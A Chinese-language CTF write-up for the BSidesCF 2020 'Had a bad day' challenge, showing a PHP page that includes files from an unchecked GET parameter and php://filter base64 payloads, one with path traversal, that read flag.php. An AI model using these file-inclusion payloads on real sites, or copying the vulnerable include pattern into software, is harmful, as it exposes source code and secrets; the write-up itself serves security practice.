BUU34 [BSidesCF 2020]Had a bad day1 【php://filter】

题目:

发现url有点奇怪

尝试读取一下flag.php,出现错误了

感觉有希望,一看url中还有个index.php,那就试试读取源码吧

出现错误,原来是index.php.php重合了,把php去掉 ,出现了

php 复制代码
<?php
	$file = $_GET['category'];

	if(isset($file))
				{
	    if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
			include ($file . '.php');
					}
	else{
			echo "Sorry, we currently only support woofers and meowers.";
					}
				}
?>

让提交的内容中含有woofers,meowers或者index就行了

这里面write可写可不写:

write 的作用是将经过特定过滤处理后(用php://filter过滤的)的数据写入到指定的文件中。而 index.php 就是指定的目标文件。也就是说,write=index.php 表示要把经过当前过滤器处理后的数据写入到 index.php 文件里。

解码得到flag

filter伪协议可以套一层参数,如(本题中包含woofers,meowers,index三个中的一个即可):
?category=php://filter/read=convert.base64-encode/woofers/resource=flag
?category=php://filter/read=index/convert.base64-encode/resource=flag(顺序可以变换)

PHP对文件是否存在不关心,因为他只关心你最终所在的目录位置,甚至中间多套几层也不影响

所以可以构造payload去尝试读取flag.php文件
category=php://filter/read=convert.base64-encode/resource=meowers/../flag

相关推荐
星空语6 小时前
音频001_Android+Linux车载/手机音频全链路分层架构图
android·linux·音视频
CyL_Cly7 小时前
解决官网下载慢!Android Studio 最新版网盘下载
android·ide·android studio
智塑未来7 小时前
鸿蒙系统对比安卓、iOS,核心优势是什么?
android·ios·harmonyos
AI刀刀7 小时前
豆包智能体对话导出后,如何构建长期归档与高效检索体系?
android·人工智能·word·excel·ai导出鸭
初雪云9 小时前
iOS 上架入门:证书、描述文件、IPA 上传到底是什么关系?
android·ios·自动化·产品经理·iphone
玩机达人8811 小时前
一加12/Ace5/Ace3pro手机ColorOS16降级回锁BL熔断变黑砖怎么办
android·智能手机·电脑
Digitally12 小时前
使用 USB 数据线将文件从安卓设备传输到电脑
android·电脑
xieliyu.13 小时前
MySQL 六大基础约束详解:NOT NULL/DEFAULT/UNIQUE/ 主键 / 外键 / CHECK
android·数据库·sql·mysql
知行合一。。。13 小时前
LangChain--06--结构化输出(Structured Output)
android·java·langchain
2501_9159184113 小时前
PerfDog 太贵?iOS 性能监控工具的功能对比与选择
android·ios·小程序·https·uni-app·iphone·webview